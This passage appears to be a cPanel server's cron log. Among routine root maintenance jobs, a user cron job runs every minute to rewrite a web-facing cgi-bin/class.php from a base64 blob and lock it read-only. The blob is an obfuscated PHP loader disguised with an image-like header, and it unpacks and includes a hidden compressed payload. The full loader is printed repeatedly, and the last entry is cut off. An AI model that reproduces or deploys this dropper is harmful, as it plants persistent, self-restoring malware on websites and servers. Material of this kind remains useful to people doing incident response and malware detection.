Sep  7 23:05:01 server CROND[27097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:05:01 server CROND[27096]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 23:05:01 server CROND[27099]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:05:01 server CROND[27093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:06:01 server CROND[27924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:06:01 server CROND[27926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:06:01 server CROND[27925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:07:01 server CROND[28300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:07:01 server CROND[28301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:07:01 server CROND[28302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:08:01 server CROND[28676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:08:01 server CROND[28677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:08:01 server CROND[28678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:09:01 server CROND[29140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:09:01 server CROND[29141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:09:01 server CROND[29142]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 23:09:01 server CROND[29143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:10:01 server CROND[29524]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:10:01 server CROND[29525]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:10:01 server CROND[29529]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:10:01 server CROND[29530]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:10:01 server CROND[29544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:10:01 server CROND[29543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:10:01 server CROND[29548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:10:01 server CROND[29542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:11:01 server CROND[30354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:11:01 server CROND[30355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:11:01 server CROND[30356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:12:01 server CROND[30719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:12:01 server CROND[30720]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 23:12:01 server CROND[30722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:12:01 server CROND[30721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:13:01 server CROND[31093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:13:01 server CROND[31094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:13:01 server CROND[31095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:14:01 server CROND[31556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:14:01 server CROND[31557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:14:01 server CROND[31558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:15:01 server CROND[31939]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:15:01 server CROND[31943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:15:01 server CROND[31944]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:15:01 server CROND[31959]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 23:15:01 server CROND[31960]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:15:01 server CROND[31957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:15:01 server CROND[31961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:15:01 server CROND[31958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:16:01 server CROND[343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:16:01 server CROND[344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:16:01 server CROND[345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:17:01 server CROND[777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:17:01 server CROND[776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:17:01 server CROND[778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode 